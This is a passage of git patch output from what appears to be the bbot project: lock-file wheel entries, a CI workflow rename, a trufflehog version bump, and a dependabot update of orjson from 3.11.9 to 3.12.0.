"https://files.pythonhosted.org/packages/88/83/a2ff105cd6bc7f18c19c9e5e288fa741821788834d5ddd637b5f33d879ee/mmh3-5.3.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:811f0ef99cc178becef108563505b9e5aa69a406028136874edf6513d3568f8b", size = 42168, upload-time = "2026-08-26T04:56:54.871Z" }, + { url = "https://files.pythonhosted.org/packages/d6/d9/c61e52eddb1e02a25367ef1121a14b69696f17067e3395411e0a86d69ce5/mmh3-5.3.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9a1841be8752f46cbf58a4825f3789ea66ed9c1190be5d81327509cf757b6f5a", size = 38810, upload-time = "2026-08-26T04:56:55.878Z" }, + { url = "https://files.pythonhosted.org/packages/7f/e3/2a1bfa294ef9df2f48d298e26d1bb05b44ae5ccfab3531a66fcf16eee361/mmh3-5.3.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:24eb191910181f4f41ffa2f323d63ebe725ddb0ac461baaa2274658cbe6b4c7e", size = 39489, upload-time = "2026-08-26T04:56:56.978Z" }, + { url = "https://files.pythonhosted.org/packages/60/b8/5dc5a1c593655b8ded88a88c27532d59ba7c94dac1c51665dddf6457cfca/mmh3-5.3.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a404419c65611d015eb03b204d3558635d97fcef149d0e8ed0ef818f7262f76b", size = 39999, upload-time = "2026-08-26T04:56:58.137Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ed/cf1a8e5d5d2a74918891cd790e22779d11e3ceb0bcabacfac7d47be2ccc3/mmh3-5.3.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:b77364386164808efb1d7ea1305b14bb04fc6907aab242df3f6c04f5f0c1b371", size = 55493, upload-time = "2026-08-26T04:56:59.335Z" }, + { url = "https://files.pythonhosted.org/packages/6e/5c/4da4d6af3f10635f6042ccfb5cc54ac90a53da9a14fdf1f9168892109b49/mmh3-5.3.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:e0c195d2a2cf60c5f32928415d44d430129899b4c215d710f93179a056cf560b", size = 40158, upload-time = "2026-08-26T04:57:00.475Z" }, + { url = "https://files.pythonhosted.org/packages/d8/bf/e4be8e728d94387c673510b11120d003f929858169017ab87b852ab5ac6e/mmh3-5.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:bc6018e95814fd64ea8357c6e9e5608b97b1f33962c76cff60efd52f76b18a40", size = 39699, upload-time = "2026-08-26T04:57:01.561Z" }, + { url = "https://files.pythonhosted.org/packages/34/64/cbf9923093f18f16a655ed5405f8992498c542321b0cbfe92c650c778dce/mmh3-5.3.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:302e5b527b36a875abb611911142e92abac7580faec51318440149ab13b8e936", size = 97245, upload-time = "2026-08-26T04:57:02.641Z" }, + { url = "https://files.pythonhosted.org/packages/cb/74/71b8f3d20b201511cbf3a3d52f7aebf5b62f8a60d8ac1a258f093e447e09/mmh3-5.3.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0a301b316198758aabbfa3ee565e221b757645d9f94b8a9d2889bfefabbb77dd", size = 103246, upload-time = "2026-08-26T04:57:03.826Z" }, + { url = "https://files.pythonhosted.org/packages/81/87/95bb64aa64057349257c487a87c7590ca205d61cacd4248875c8ad5f0530/mmh3-5.3.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a78928eb29e96e8386eebc6c4271648e3918502a24296da7020607d74d33e622", size = 106195, upload-time = "2026-08-26T04:57:05.019Z" }, + { url = "https://files.pythonhosted.org/packages/78/36/4d87428276987949476258c116a092e2110b1cd33268236282c2a71be074/mmh3-5.3.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e7adbd0f38ead7310e1e7428f254d450857645efc761c937a7d71100cce7a3a4", size = 113066, upload-time = "2026-08-26T04:57:06.365Z" }, + { url = "https://files.pythonhosted.org/packages/dc/e2/d2edf34aff2af42afa6abcadb158096dd015234065811323208b63508c03/mmh3-5.3.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:422defa81ff5c114213033cb1ce45f3904427ec9dbfa0442a0f4656191f75f5b", size = 120634, upload-time = "2026-08-26T04:57:07.52Z" }, + { url = "https://files.pythonhosted.org/packages/13/53/904a9e87364a0b472ebc3662a6c2e705b8051a726058cb7776a6c2a0966f/mmh3-5.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:76601efc7bfe44014d7bf7d6ba9c75bbb0b426c93ce0f9216cd9ec5d384c224b", size = 99075, upload-time = "2026-08-26T04:57:08.7Z" }, + { url = "https://files.pythonhosted.org/packages/51/4c/4ee963b65c9581f429d39b1242d2579c4f74648c848c364634bb24e9a7ec/mmh3-5.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a5ada8e81fecfca0d934520be81117e5fdccbce7ae43612ae8aeb6c40dfd69ff", size = 98598, upload-time = "2026-08-26T04:57:09.885Z" }, + { url = "https://files.pythonhosted.org/packages/79/0a/0077b5ddb6e13c6cda29eb1b31c5cd12d3456cb625e9161e5f35cb0ed787/mmh3-5.3.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:b93c17989d23a08104acc7e1912250b2eec4d24da9983d3c5f8ca9cda8d62a02", size = 106429, upload-time = "2026-08-26T04:57:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/e7/86/f07f14f4dd7c5738d0008e7311b47bb84c3a8ab55c753ba1dadc93a959c5/mmh3-5.3.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:762a03f0726850677f7f1e34a105d9121b4e11a0c20c28c56fc4b33a809c0e64", size = 109903, upload-time = "2026-08-26T04:57:12.371Z" }, + { url = "https://files.pythonhosted.org/packages/cd/7f/356303be62b1053f57a506ac33b2f536a8665dc14a69c6a8468e9f5fb6d0/mmh3-5.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6f60209149e1011b4a3f3119ad2404b06507fe077755bdfcd4ea0090f64cb399", size = 97448, upload-time = "2026-08-26T04:57:13.552Z" }, + { url = "https://files.pythonhosted.org/packages/f2/57/c131c0c246714bd6483c52360fd4bbcea86ec007b1e653de3dbdf5bebb79/mmh3-5.3.0-cp314-cp314-win32.whl", hash = "sha256:1b51409765cbec88396b7a47d87220f9a34112c74a8d0db3ca2551941f023c74", size = 41008, upload-time = "2026-08-26T04:57:14.626Z" }, + { url = "https://files.pythonhosted.org/packages/c7/f3/571defe22c618c25ba6724c7029fd2ee9977936910aef4f46398f5ec2bb6/mmh3-5.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:2585bef3623efaceb1cf4734c27bbba81b9bcb4ea5b8bf53823ca75b388933c9", size = 42437, upload-time = "2026-08-26T04:57:15.637Z" }, + { url = "https://files.pythonhosted.org/packages/34/ac/974345d0709558e4bd2f8d16c46fe480058d1ac4109e90cd5f2a2525bdb4/mmh3-5.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:c1fe81cd71d35fd2770dc206a4bd818bd73b515810314e1573b9db8c9a0284db", size = 39723, upload-time = "2026-08-26T04:57:16.625Z" }, + { url = "https://files.pythonhosted.org/packages/1a/fd/70b15f5f0038c8fe2cd2a30ca83404e1282af7643ba400214deff3a19498/mmh3-5.3.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:397b26f58cb062233abe36b6cdcb99f08204f529d2384e0f3ed07901dca6a2c0", size = 57172, upload-time = "2026-08-26T04:57:17.841Z" }, + { url = "https://files.pythonhosted.org/packages/dd/8f/cf76d541a79d95254888834d0e848bab14b4f98a44e18942c26ce75bbc83/mmh3-5.3.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:fe9b3b53b0688e9e5d7358e934e87c2da5ed34d997d0ef1ec403024ea760215b", size = 40953, upload-time = "2026-08-26T04:57:18.938Z" }, + { url = "https://files.pythonhosted.org/packages/fd/74/39ca2c868a1f921db0962067e8fd8f5c31a3a4b2d0ea6bb279e8e0948cd8/mmh3-5.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:045b44b299a658f02dfb43db4037437c66290f6d00984992030648b8ffc230d0", size = 40473, upload-time = "2026-08-26T04:57:19.969Z" }, + { url = "https://files.pythonhosted.org/packages/26/0b/4427f0134223b4061146bd6131db2c3b882fcaa08068e0f0d8c1f944a3f7/mmh3-5.3.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:060888503ab547f4700e93d13f45ee0d7633f5196028529c1e98c27d5b31520d", size = 109601, upload-time = "2026-08-26T04:57:20.967Z" }, + { url = "https://files.pythonhosted.org/packages/74/f9/6ab1a4d663f0c2fea4e7aeb0bfd6be70897981cf4a71f8339b2510d89ea6/mmh3-5.3.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:816db9f5ca3da2ecc9c74481c5b0474cc4368cb94e77f40bff8493abeeac81f0", size = 117370, upload-time = "2026-08-26T04:57:22.161Z" }, + { url = "https://files.pythonhosted.org/packages/cb/ee/b559b1155998448b641ff73d03e1f1141f6390f63ace9df4e42a12120cb9/mmh3-5.3.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:27706a3a4700d34718bd1eaf89719a13bbaa269606048dd00173997562c19c92", size = 120366, upload-time = "2026-08-26T04:57:23.362Z" }, + { url = "https://files.pythonhosted.org/packages/84/7e/79821c37f93fe15ca6710764c651276c6de63e376004dad7b63bc1ddbf2f/mmh3-5.3.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2d028a0e523d0c3e478544fc8350c024a0e0d73b549dd6013af4119a87589de2", size = 125940, upload-time = "2026-08-26T04:57:24.638Z" }, + { url = "https://files.pythonhosted.org/packages/77/3d/a109fc9bf5263d14989d7aaa4a51e4f21ef3563b9413ad9c05041c4d8403/mmh3-5.3.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:10508e24e01f6b52c91577e22c4466d703c2c696d34fac1a9048e0da837a1a1c", size = 135162, upload-time = "2026-08-26T04:57:25.817Z" }, + { url = "https://files.pythonhosted.org/packages/f9/fe/fa430565444bbc68fef9fea7944ee976265bd0b39ac698cf170e266766e7/mmh3-5.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:23bafb94a90f3ce2044b8a7a36c6c98ac6830ac8df1b3c0b65faa27a1bcbc49e", size = 109984, upload-time = "2026-08-26T04:57:26.982Z" }, + { url = "https://files.pythonhosted.org/packages/d4/6f/a9810ece96d857dc05bda61341e48cbf65bca9c8b24b368724e0e150d2d4/mmh3-5.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:2bc13752e7d80c7ea09d09368b78fca0d52f461c5c16abee5e4f78218f3d346a", size = 111111, upload-time = "2026-08-26T04:57:28.164Z" }, + { url = "https://files.pythonhosted.org/packages/0d/e7/c17260aba7a7f111d211e382dfaa14891691ab171e0172f7d251498fd60b/mmh3-5.3.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:e87e2c89016a83a6d7b8ff4e688ee6da843c5bf46bd1dcbdd36b181639575350", size = 116837, upload-time = "2026-08-26T04:57:29.336Z" }, + { url = "https://files.pythonhosted.org/packages/91/98/bb8f8ded55483672343d6b087e0fc74cd76bc9d1dc1c18c32aa468efd096/mmh3-5.3.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:93203131f4da1824dec6ffad11ff8afa03f0690f0075efa901ad7517a261a359", size = 122993, upload-time = "2026-08-26T04:57:30.542Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a7/e45b0a053c79c1567f64989d4f3bb6f44510d2da7c6a38b8f82eee94162b/mmh3-5.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d1cda1816c79bf9f7b0f7ced1b48bda64c8157a8532e1318727b4157062a5a67", size = 110150, upload-time = "2026-08-26T04:57:31.745Z" }, + { url = "https://files.pythonhosted.org/packages/16/0e/bacbff120a5218cbf33cbfb562d1435e10ff43bf20345d1125f4086ef842/mmh3-5.3.0-cp314-cp314t-win32.whl", hash = "sha256:a0eee1c2cafed49facb1fd300f684401ba5bd557d6d7dfa9bd0c13c5b0904f0c", size = 41461, upload-time = "2026-08-26T04:57:32.92Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c8/263a2f5af994a2c661fde9483b0e98e737b04831895bfdefc85fd81ed65d/mmh3-5.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:55347832dc6d49731283717087551839fa46a7997929403c96599b1bc93124f1", size = 43405, upload-time = "2026-08-26T04:57:33.983Z" }, + { url = "https://files.pythonhosted.org/packages/c8/8b/221f238eb4259f42d72d154ce4c4383c65bdedd7d8823ed9e7a564978a76/mmh3-5.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:50958a182c7e189fa1408d9a28d9a37afbb3d72107cf8c6fb69b07b13506c246", size = 40286, upload-time = "2026-08-26T04:57:35.101Z" }, ] [[package]] From dd9b158c545cfb3eebf9a60e228683481dedc49a Mon Sep 17 00:00:00 2001 From: "Dustin Z." <25302183+DatenpflegeNordHL@users.noreply.github.com> Date: Mon, 31 Aug 2026 22:21:57 +0200 Subject: [PATCH 071/256] ci: clarify tool version updater workflow name (#3415) --- .github/workflows/version_updater.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml index d39cff0212..6805c9a04c 100644 --- a/.github/workflows/version_updater.yml +++ b/.github/workflows/version_updater.yml @@ -1,4 +1,4 @@ -name: Version Updater +name: Tool Version Updater on: schedule: # Runs at 00:00 every day From a025da160d4444ae3a036984a94b7a58dfdcbaf1 Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Thu, 3 Sep 2026 11:15:32 -0400 Subject: [PATCH 072/256] Update trufflehog (#3417) --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 840b003496..d457e292d2 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.97.1", description="trufflehog version") + version: str = Field("3.97.2", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From c4d14be3168ef3b55feaaf83913c8e418ded037a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 3 Sep 2026 11:17:43 -0400 Subject: [PATCH 073/256] Bump orjson from 3.11.9 to 3.12.0 (#3396) Bumps [orjson](https://github.com/ijl/orjson) from 3.11.9 to 3.12.0. - [Release notes](https://github.com/ijl/orjson/releases) - [Changelog](https://github.com/ijl/orjson/blob/master/CHANGELOG.md) - [Commits](https://github.com/ijl/orjson/compare/3.11.9...3.12.0) --- updated-dependencies: - dependency-name: orjson dependency-version: 3.12.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 134 ++++++++++++++++++++++++-------------------------------- 1 file changed, 57 insertions(+), 77 deletions(-) diff --git a/uv.lock b/uv.lock index 4f40edf321..a8e41c193f 100644 --- a/uv.lock +++ b/uv.lock @@ -1894,83 +1894,63 @@ wheels = [ [[package]] name = "orjson" -version = "3.11.9" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, - { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, - { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, - { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, - { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, - { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, - { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, - { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, - { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, - { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, - { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, - { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, - { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, - { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, - { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, - { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, - { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, - { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, - { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, - { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, - { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, - { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, - { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, - { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, - { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, - { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, - { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, - { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, - { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, - { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, - { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, - { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, - { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, - { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, - { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, - { url = 